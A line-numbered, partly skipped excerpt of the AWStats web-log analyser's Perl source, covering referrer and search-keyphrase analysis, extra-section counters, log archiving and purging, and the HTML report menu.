$_browser_h{'Unknown'}++;
12248
$_os_h{'Unknown'}++;
12254
if ( $pos_referer >= 0
12255
&& $LevelForRefererAnalyze
12256
&& $field[$pos_referer] )
12260
if ( $field[$pos_referer] eq '-'
12261
|| $field[$pos_referer] eq 'bookmarks' )
12262
{ # "bookmarks" is sent by Netscape, '-' by all others browsers
12265
if ($ShowDirectOrigin) {
12266
print "Direct access for line $line\n";
12274
$field[$pos_referer] =~ /$regreferer/o;
12275
my $refererprot = $1;
12276
my $refererserver =
12278
. ( !$3 || $3 eq ':80' ? '' : $3 )
12279
; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80
12281
if ( $refererprot =~ /^http/i ) {
12283
#if ($Debug) { debug(" Analyze referer refererprot=$refererprot refererserver=$refererserver",5); }
12286
if ( !$TmpRefererServer{$refererserver} )
12287
{ # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise
12288
if ( $refererserver =~ /$reglocal/o ) {
12290
# Intern (This hit came from another page of the site)
12293
" Server '$refererserver' is added to TmpRefererServer with value '='",
12297
$TmpRefererServer{$refererserver} = '=';
12301
foreach (@HostAliases) {
12302
if ( $refererserver =~ /$_/ ) {
12304
# Intern (This hit came from another page of the site)
12307
" Server '$refererserver' is added to TmpRefererServer with value '='",
12311
$TmpRefererServer{$refererserver} = '=';
12318
# Extern (This hit came from an external web site).
12320
if ($LevelForSearchEnginesDetection) {
12322
foreach (@SearchEnginesSearchIDOrder)
12323
{ # Search ID in order of SearchEnginesSearchIDOrder
12324
if ( $refererserver =~ /$_/ ) {
12325
my $key = &UnCompileRegex($_);
12327
!$NotSearchEnginesKeys{$key}
12328
|| $refererserver !~
12329
/$NotSearchEnginesKeys{$key}/i
12333
# This hit came from the search engine $key
12336
" Server '$refererserver' is added to TmpRefererServer with value '$key'",
12342
$SearchEnginesHashID{ $key
12355
my $tmprefererserver =
12356
$TmpRefererServer{$refererserver};
12357
if ($tmprefererserver) {
12358
if ( $tmprefererserver eq '=' ) {
12360
# Intern (This hit came from another page of the site)
12361
if ($PageBool) { $_from_p[4]++; }
12367
# This hit came from a search engine
12370
$_se_referrals_p{$tmprefererserver}++;
12373
$_se_referrals_h{$tmprefererserver}++;
12375
if ( $PageBool && $LevelForKeywordsDetection ) {
12377
# we will complete %_keyphrases hash array
12379
split( /\?/, $field[$pos_referer], 2 )
12380
; # TODO Use \? or [$URLQuerySeparators] ?
12381
if ( $refurl[1] ) {
12383
# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
12385
$SearchEnginesKnownUrl{
12386
$tmprefererserver} )
12387
{ # Search engine with known URL syntax
12388
foreach my $param (
12391
$KeyWordsNotSensitive
12398
s/^$SearchEnginesKnownUrl{$tmprefererserver}//
12402
# We found good parameter
12403
# Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg"
12405
s/^(cache|related):[^\+]+//
12406
; # Should be useless since this is for hit on 'not pages'
12407
&ChangeWordSeparatorsIntoSpace
12409
; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg]
12411
$param =~ s/ +$//; # Trim
12412
$param =~ tr/ /\+/s;
12413
if ( ( length $param ) > 0 )
12415
$_keyphrases{$param}++;
12422
$LevelForKeywordsDetection >= 2 )
12423
{ # Search engine with unknown URL syntax
12424
foreach my $param (
12427
$KeyWordsNotSensitive
12433
my $foundexcludeparam = 0;
12434
foreach my $paramtoexclude (
12435
@WordsToCleanSearchUrl)
12438
/$paramtoexclude/i )
12440
$foundexcludeparam = 1;
12442
} # Not the param with search criteria
12444
if ($foundexcludeparam) {
12448
# We found good parameter
12451
# Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg"
12453
s/^(cache|related):[^\+]+//
12454
; # Should be useless since this is for hit on 'not pages'
12455
&ChangeWordSeparatorsIntoSpace(
12457
; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
12459
$param =~ s/ +$//; # Trim
12460
$param =~ tr/ /\+/s;
12461
if ( ( length $param ) > 2 ) {
12462
$_keyphrases{$param}++;
12467
} # End of elsif refurl[1]
12469
$SearchEnginesWithKeysNotInQuery{
12470
$tmprefererserver} )
12473
# debug("xxx".$refurl[0]);
12474
# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2)
12476
/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/
12480
&ChangeWordSeparatorsIntoSpace(
12482
$param =~ tr/ /\+/s;
12483
if ( ( length $param ) > 0 ) {
12484
$_keyphrases{$param}++;
12491
} # End of if ($TmpRefererServer)
12494
# This hit came from a site other than a search engine
12495
if ($PageBool) { $_from_p[3]++; }
12498
# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage
12499
#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; } # Code moved in Save_History
12500
# TODO: lowercase the value for referer server to have refering server not case sensitive
12501
if ($URLReferrerWithQuery) {
12503
$_pagesrefs_p{ $field[$pos_referer] }++;
12505
$_pagesrefs_h{ $field[$pos_referer] }++;
12509
# We discard query for referer
12510
if ( $field[$pos_referer] =~
12511
/$regreferernoquery/o )
12513
if ($PageBool) { $_pagesrefs_p{"$1"}++; }
12514
$_pagesrefs_h{"$1"}++;
12518
$_pagesrefs_p{ $field[$pos_referer] }++;
12520
$_pagesrefs_h{ $field[$pos_referer] }++;
12528
#if (! $found && $refererprot =~ /^news/i) {
12530
# if ($PageBool) { $_from_p[5]++; }
12538
if ($ShowUnknownOrigin) {
12539
print "Unknown origin: $field[$pos_referer]\n";
12541
if ($PageBool) { $_from_p[1]++; }
12547
if ( $pos_emails >= 0 && $field[$pos_emails] ) {
12548
if ( $field[$pos_emails] eq '<>' ) {
12549
$field[$pos_emails] = 'Unknown';
12551
elsif ( $field[$pos_emails] !~ /\@/ ) {
12552
$field[$pos_emails] .= "\@$SiteDomain";
12554
$_emails_h{ lc( $field[$pos_emails] ) }
12555
++; #Count accesses for sender email (hit)
12556
$_emails_k{ lc( $field[$pos_emails] ) } +=
12557
int( $field[$pos_size] )
12558
; #Count accesses for sender email (kb)
12559
$_emails_l{ lc( $field[$pos_emails] ) } = $timerecord;
12561
if ( $pos_emailr >= 0 && $field[$pos_emailr] ) {
12562
if ( $field[$pos_emailr] !~ /\@/ ) {
12563
$field[$pos_emailr] .= "\@$SiteDomain";
12565
$_emailr_h{ lc( $field[$pos_emailr] ) }
12566
++; #Count accesses for receiver email (hit)
12567
$_emailr_k{ lc( $field[$pos_emailr] ) } +=
12568
int( $field[$pos_size] )
12569
; #Count accesses for receiver email (kb)
12570
$_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord;
12576
if ( $pos_cluster >= 0 ) {
12578
$_cluster_p{ $field[$pos_cluster] }++;
12579
} #Count accesses for page (page)
12580
$_cluster_h{ $field[$pos_cluster] }
12581
++; #Count accesses for page (hit)
12582
$_cluster_k{ $field[$pos_cluster] } +=
12583
int( $field[$pos_size] ); #Count accesses for page (kb)
12588
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
12589
if ($Debug) { debug( " Process extra analyze $extranum", 4 ); }
12592
my $conditionok = 0;
12593
if ( $ExtraCodeFilter[$extranum] ) {
12595
my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 )
12599
" Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'",
12603
if ( $field[$pos_code] eq
12604
"$ExtraCodeFilter[$extranum][$condnum]" )
12610
if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) {
12612
} # End for this section
12615
" No check on code or code is OK. Now we check other conditions.",
12623
foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 )
12625
my $conditiontype = $ExtraConditionType[$extranum][$condnum];
12626
my $conditiontypeval =
12627
$ExtraConditionTypeVal[$extranum][$condnum];
12628
if ( $conditiontype eq 'URL' ) {
12631
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'",
12635
if ( $urlwithnoquery =~ /$conditiontypeval/ ) {
12640
elsif ( $conditiontype eq 'QUERY_STRING' ) {
12643
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'",
12647
if ( $standalonequery =~ /$conditiontypeval/ ) {
12652
elsif ( $conditiontype eq 'URLWITHQUERY' ) {
12655
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'",
12659
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
12660
/$conditiontypeval/ )
12666
elsif ( $conditiontype eq 'REFERER' ) {
12669
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'",
12673
if ( $field[$pos_referer] =~ /$conditiontypeval/ ) {
12678
elsif ( $conditiontype eq 'UA' ) {
12681
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'",
12685
if ( $field[$pos_agent] =~ /$conditiontypeval/ ) {
12690
elsif ( $conditiontype eq 'HOSTINLOG' ) {
12693
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'",
12697
if ( $field[$pos_host] =~ /$conditiontypeval/ ) {
12702
elsif ( $conditiontype eq 'HOST' ) {
12703
my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
12706
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'",
12710
if ( $hosttouse =~ /$conditiontypeval/ ) {
12715
elsif ( $conditiontype eq 'VHOST' ) {
12718
" Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'",
12722
if ( $field[$pos_vh] =~ /$conditiontypeval/ ) {
12727
elsif ( $conditiontype =~ /extra(\d+)/i ) {
12730
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'",
12734
if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) {
12741
"Wrong value of parameter ExtraSectionCondition$extranum"
12745
if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) {
12747
} # End for this section
12750
" No condition or condition is OK. Now we extract value for first column of extra chart.",
12755
# Determine actual column value to use.
12758
foreach my $rowkeynum (
12759
0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
12762
$ExtraFirstColumnValuesType[$extranum][$rowkeynum];
12763
my $rowkeytypeval =
12764
$ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum];
12765
if ( $rowkeytype eq 'URL' ) {
12766
if ( $urlwithnoquery =~ /$rowkeytypeval/ ) {
12772
elsif ( $rowkeytype eq 'QUERY_STRING' ) {
12775
" Extract value from '$standalonequery' with regex '$rowkeytypeval'.",
12779
if ( $standalonequery =~ /$rowkeytypeval/ ) {
12785
elsif ( $rowkeytype eq 'URLWITHQUERY' ) {
12786
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
12794
elsif ( $rowkeytype eq 'REFERER' ) {
12795
if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) {
12801
elsif ( $rowkeytype eq 'UA' ) {
12802
if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) {
12808
elsif ( $rowkeytype eq 'HOSTINLOG' ) {
12809
if ( $field[$pos_host] =~ /$rowkeytypeval/ ) {
12815
elsif ( $rowkeytype eq 'HOST' ) {
12816
my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
12817
if ( $hosttouse =~ /$rowkeytypeval/ ) {
12823
elsif ( $rowkeytype eq 'VHOST' ) {
12824
if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) {
12830
elsif ( $rowkeytype =~ /extra(\d+)/i ) {
12831
if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) {
12839
"Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
12843
if ( !$rowkeyok ) { next; } # End for this section
12844
if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; }
12845
if ($Debug) { debug( " Key val found: $rowkeyval", 5 ); }
12847
# Apply function on $rowkeyval
12848
if ( $ExtraFirstColumnFunction[$extranum] ) {
12850
# Todo call function on string $rowkeyval
12853
# Here we got all values to increase counters
12854
if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) {
12855
${ '_section_' . $extranum . '_p' }{$rowkeyval}++;
12857
${ '_section_' . $extranum . '_h' }{$rowkeyval}++; # Must be set
12858
if ( $ExtraStatTypes[$extranum] =~ /B/i ) {
12859
${ '_section_' . $extranum . '_k' }{$rowkeyval} +=
12860
int( $field[$pos_size] );
12862
if ( $ExtraStatTypes[$extranum] =~ /L/i ) {
12863
if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval}
12864
|| 0 < $timerecord )
12866
${ '_section_' . $extranum . '_l' }{$rowkeyval} =
12871
# Check to avoid too large extra sections
12873
scalar keys %{ '_section_' . $extranum . '_h' } >
12874
$ExtraTrackedRowsLimit )
12876
error(<<END_ERROR_TEXT);
12877
The number of values found for extra section $extranum has grown too large.
12878
In order to prevent awstats from using an excessive amount of memory, the number
12879
of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider
12880
revising extract parameters for extra section $extranum. If you are certain you
12881
want to track such a large data set, you can increase the limit by setting
12882
ExtraTrackedRowsLimit in your awstats configuration file.
12887
# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file
12888
if ( ++$counterforflushtest >= 20000 ) {
12890
#if (++$counterforflushtest >= 1) {
12891
if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
12892
|| ( scalar keys %_url_p ) > $LIMITFLUSH )
12895
# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
12896
if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) {
12898
# We don't flush if perl is activestate to avoid slowing process because of memory hole
12902
# Clean tmp hash arrays
12903
#%TmpDNSLookup = ();
12904
%TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
12906
# We flush if perl is not activestate
12907
print "Flush history file on disk";
12908
if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) {
12909
print " (unique hosts reach flush limit of "
12910
. ( $LIMITFLUSH << 2 ) . ")";
12912
if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) {
12913
print " (unique url reach flush limit of "
12914
. ($LIMITFLUSH) . ")";
12919
"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.",
12923
. ( scalar keys %_host_p )
12925
. ( scalar keys %_host_h )
12927
. ( scalar keys %_host_k )
12929
. ( scalar keys %_host_l )
12931
. ( scalar keys %_host_s )
12933
. ( scalar keys %_host_u ) . "\n";
12935
. ( scalar keys %_url_p )
12937
. ( scalar keys %_url_k )
12939
. ( scalar keys %_url_e )
12941
. ( scalar keys %_url_x ) . "\n";
12942
print " _waithost_e:"
12943
. ( scalar keys %_waithost_e )
12945
. ( scalar keys %_waithost_l )
12947
. ( scalar keys %_waithost_s )
12949
. ( scalar keys %_waithost_u ) . "\n";
12951
&Read_History_With_TmpUpdate(
12952
$lastprocessedyear,
12953
$lastprocessedmonth,
12955
$lastprocessedhour,
12959
( $lastlinenb + $NbOfLinesParsed ),
12963
&GetDelaySinceStart(1);
12964
$NbOfLinesShowsteps = 1;
12967
$counterforflushtest = 0;
12970
} # End of loop for processing new record.
12975
. ( scalar keys %_host_p )
12977
. ( scalar keys %_host_h )
12979
. ( scalar keys %_host_k )
12981
. ( scalar keys %_host_l )
12983
. ( scalar keys %_host_s )
12985
. ( scalar keys %_host_u ) . "\n",
12990
. ( scalar keys %_url_p )
12992
. ( scalar keys %_url_k )
12994
. ( scalar keys %_url_e )
12996
. ( scalar keys %_url_x ) . "\n",
13001
. ( scalar keys %_waithost_e )
13003
. ( scalar keys %_waithost_l )
13005
. ( scalar keys %_waithost_s )
13007
. ( scalar keys %_waithost_u ) . "\n",
13011
"End of processing log file (AWStats memory cache is TmpDNSLookup="
13012
. ( scalar keys %TmpDNSLookup )
13014
. ( scalar keys %TmpBrowser )
13016
. ( scalar keys %TmpOS )
13017
. " TmpRefererServer="
13018
. ( scalar keys %TmpRefererServer )
13020
. ( scalar keys %TmpRobot ) . ")",
13025
# Save current processed break section
13026
# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file
13027
if ( $lastprocesseddate > 0 )
13028
{ # TODO: Do not save if we are sure a flush was just already done
13030
seek( LOG, $lastlineoffset, 0 );
13034
if ( !$NbOfLinesParsed ) {
13036
# TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0
13037
&Read_History_With_TmpUpdate(
13038
$lastprocessedyear, $lastprocessedmonth,
13039
$lastprocessedday, $lastprocessedhour,
13041
"all", ( $lastlinenb + $NbOfLinesParsed ),
13042
$lastlineoffset, &CheckSum($line)
13046
&Read_History_With_TmpUpdate(
13047
$lastprocessedyear, $lastprocessedmonth,
13048
$lastprocessedday, $lastprocessedhour,
13050
"all", ( $lastlinenb + $NbOfLinesParsed ),
13051
$lastlineoffset, &CheckSum($line)
13056
if ($Debug) { debug("Close log file \"$LogFile\""); }
13057
close LOG || error("Command for pipe '$LogFile' failed");
13059
# Process the Rename - Archive - Purge phase
13063
# Open Log file for writing if PurgeLogFile is on
13064
if ($PurgeLogFile) {
13065
if ($ArchiveLogRecords) {
13066
if ( $ArchiveLogRecords == 1 ) { # For backward compatibility
13067
$ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log";
13071
"$DirData/${PROG}_archive$FileSuffix."
13072
. &Substitute_Tags($ArchiveLogRecords) . ".log";
13074
open( LOG, "+<$LogFile" )
13076
"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
13080
open( LOG, "+<$LogFile" );
13085
# Rename all HISTORYTMP files into HISTORYTXT
13086
&Rename_All_Tmp_History();
13088
# Purge Log file if option is on and all renaming are ok
13089
if ($PurgeLogFile) {
13091
# Archive LOG file into ARCHIVELOG
13092
if ($ArchiveLogRecords) {
13093
if ($Debug) { debug("Start of archiving log file"); }
13094
open( ARCHIVELOG, ">>$ArchiveFileName" )
13096
"Couldn't open file \"$ArchiveFileName\" to archive log: $!");
13097
binmode ARCHIVELOG;
13099
if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; }
13102
|| error("Archiving failed during closing archive: $!");
13103
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
13104
chmod 0666, "$ArchiveFileName";
13106
if ($Debug) { debug("End of archiving log file"); }
13109
# If rename and archive ok
13110
if ( $renameok && $archiveok ) {
13111
if ($Debug) { debug("Purge log file"); }
13112
my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' );
13113
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
13114
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
13117
"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
13123
if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) {
13125
# DNSLookup warning
13126
my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' );
13127
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
13128
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
13130
"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
13133
if ( $DNSLookup == 1 && $NbOfNewLines ) {
13135
# Save new DNS last update cache file
13136
Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile",
13137
"$FileSuffix" ); # Save into file using FileSuffix
13140
if ($EnableLockForUpdate) {
13145
# Restore signals handler
13146
$SIG{INT} = 'DEFAULT'; # 2
13147
#$SIG{KILL} = 'DEFAULT'; # 9
13148
#$SIG{TERM} = 'DEFAULT'; # 15
13153
# End of log processing if ($UPdateStats)
13155
#---------------------------------------------------------------------
13157
#---------------------------------------------------------------------
13159
if ( scalar keys %HTMLOutput ) {
13161
debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
13162
debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 );
13194
# Define the NewLinkParams for main chart
13195
my $NewLinkParams = ${QueryString};
13196
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
13197
$NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i;
13198
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
13199
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
13200
my $NewLinkTarget = '';
13201
if ($DetailedReportsOnNewWindows) {
13202
$NewLinkTarget = " target=\"awstatsbis\"";
13204
if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' )
13205
&& $DetailedReportsOnNewWindows < 2 )
13207
$NewLinkParams .= "&framename=mainright";
13208
$NewLinkTarget = " target=\"mainright\"";
13210
$NewLinkParams =~ s/(&|&)+/&/i;
13211
$NewLinkParams =~ s/^&//;
13212
$NewLinkParams =~ s/&$//;
13213
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
13215
if ( $FrameName ne 'mainleft' ) {
13221
# Lecture des fichiers history
13222
if ( $DatabaseBreak eq 'month' ) {
13223
for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) {
13224
my $stringforload = '';
13225
my $monthix = sprintf( "%02s", $ix );
13226
if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) {
13227
$stringforload = 'all'; # Read full history file
13229
elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats )
13230
|| $HTMLOutput{'alldays'} )
13233
'general time'; # Read general and time sections.
13235
if ($stringforload) {
13237
# On charge fichier
13238
&Read_History_With_TmpUpdate( $YearRequired, $monthix, '',
13239
'', 0, 0, $stringforload );
13243
if ( $DatabaseBreak eq 'day' ) {
13244
my $stringforload = 'all';
13245
my $monthix = sprintf( "%02s", $MonthRequired );
13246
my $dayix = sprintf( "%02s", $DayRequired );
13247
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '',
13248
0, 0, $stringforload );
13250
if ( $DatabaseBreak eq 'hour' ) {
13251
my $stringforload = 'all';
13252
my $monthix = sprintf( "%02s", $MonthRequired );
13253
my $dayix = sprintf( "%02s", $DayRequired );
13254
my $hourix = sprintf( "%02s", $HourRequired );
13255
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix,
13256
$hourix, 0, 0, $stringforload );
13262
if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
13263
print "<a name=\"top\"></a>\n\n";
13264
my $newhead = $HTMLHeadSection;
13265
$newhead =~ s/\\n/\n/g;
13266
print "$newhead\n";
13270
# Call to plugins' function AddHTMLBodyHeader
13271
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) {
13273
# my $function="AddHTMLBodyHeader_$pluginname()";
13274
# eval("$function");
13275
my $function = "AddHTMLBodyHeader_$pluginname";
13279
my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
13282
#---------------------------------------------------------------------
13283
if ( $ShowMenu || $FrameName eq 'mainleft' ) {
13284
my $frame = ( $FrameName eq 'mainleft' );
13286
if ($Debug) { debug( "ShowTopBan", 2 ); }
13287
print "$Center<a name=\"menu\"> </a>\n";
13289
if ( $FrameName ne 'mainleft' ) {
13290
my $NewLinkParams = ${QueryString};
13291
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
13292
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
13293
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
13294
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
13295
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
13296
$NewLinkParams =~ s/(&|&)+/&/i;
13297
$NewLinkParams =~ s/^&//;
13298
$NewLinkParams =~ s/&$//;
13299
my $NewLinkTarget = '';
13301
if ( $FrameName eq 'mainright' ) {
13302
$NewLinkTarget = " target=\"_parent\"";
13304
print "<form name=\"FormDateFilter\" action=\""
13305
. XMLEncode("$AWScript?${NewLinkParams}")
13306
. "\" style=\"padding: 0px 0px 0px 0px; margin-top: 0\"$NewLinkTarget>\n";
13309
if ( $QueryString !~ /buildpdf/i ) {
13311
"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
13312
print "<tr><td>\n";
13314
"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n";
13317
print "<table width=\"100%\">\n";
13320
if ( $FrameName ne 'mainright' ) {
13322
# Print Statistics Of
13323
if ( $FrameName eq 'mainleft' ) {
13324
my $shortSiteDomain = $SiteDomain;
13325
if ( length($SiteDomain) > 30 ) {
13327
substr( $SiteDomain, 0, 20 ) . "..."
13328
. substr( $SiteDomain, length($SiteDomain) - 5, 5 );
13331
"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>";
13335
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b> </td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>";
13339
if ( $FrameName ne 'mainleft' ) {
13340
if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
13341
print "<td align=\"right\" rowspan=\"3\"><a href=\""
13342
. XMLEncode($LogoLink)
13343
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
13344
. AltTitle( ucfirst($PROG) . " Web Site" )
13348
print "<td align=\"right\" rowspan=\"3\"><a href=\""
13349
. XMLEncode($LogoLink)
13350
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>";
13352
if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
13357
if ( $FrameName ne 'mainleft' ) {
13359
# Print Last Update
13361
"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b> </td>";
13363
"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">";
13364
if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); }
13367
# Here NbOfOldLines = 0 (because LastUpdate is not defined)
13368
if ( !$UpdateStats ) {
13369
print "<span style=\"color: #880000\">$Message[24]</span>";
13373
"<span style=\"color: #880000\">No qualified records found in log ($NbOfLinesCorrupted corrupted, $NbOfLinesDropped dropped)</span>";
13379
# Print Update Now link
13380
if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) {
13381
my $NewLinkParams = ${QueryString};
13382
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
13383
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
13384
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
13385
if ( $FrameName eq 'mainright' ) {
13386
$NewLinkParams .= "&framename=mainright";
13388
$NewLinkParams =~ s/(&|&)+/&/i;
13389
$NewLinkParams =~ s/^&//;
13390
$NewLinkParams =~ s/&$//;
13391
if ($NewLinkParams) {
13392
$NewLinkParams = "${NewLinkParams}&";
13394
print " ";
13396
. XMLEncode("$AWScript?${NewLinkParams}update=1")
13397
. "\">$Message[74]</a>";
13402
if ( $FrameName eq 'mainright' ) {
13403
if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
13404
print "<td align=\"right\" rowspan=\"2\"><a href=\""
13405
. XMLEncode($LogoLink)
13406
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
13407
. AltTitle( ucfirst($PROG) . " Web Site" )
13411
print "<td align=\"right\" rowspan=\"2\"><a href=\""
13412
. XMLEncode($LogoLink)
13413
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n";
13415
if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
13421
# Print selected period of analysis (month and year required)
13423
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>";
13424
print "<td class=\"aws\" valign=\"middle\">";
13425
if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) {
13426
print "<select class=\"aws_formfield\" name=\"month\">\n";
13427
foreach ( 1 .. 12 ) {
13428
my $monthix = sprintf( "%02s", $_ );
13431
"$MonthRequired" eq "$monthix"
13432
? " selected=\"true\""
13435
. " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n";
13437
if ( $AllowFullYearView >= 2 ) {
13439
. ( $MonthRequired eq 'all' ? " selected=\"true\"" : "" )
13440
. " value=\"all\">- $Message[6] -</option>\n";
13442
print "</select>\n";
13443
print "<select class=\"aws_formfield\" name=\"year\">\n";
13445
# Add YearRequired in list if not in ListOfYears
13446
$ListOfYears{$YearRequired} ||= $MonthRequired;
13447
foreach ( sort keys %ListOfYears ) {
13449
. ( $YearRequired eq "$_" ? " selected=\"true\"" : "" )
13450
. " value=\"$_\">$_</option>\n";
13452
print "</select>\n";
13453
print "<input type=\"hidden\" name=\"output\" value=\""
13454
. join( ',', keys %HTMLOutput )
13458
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
13462
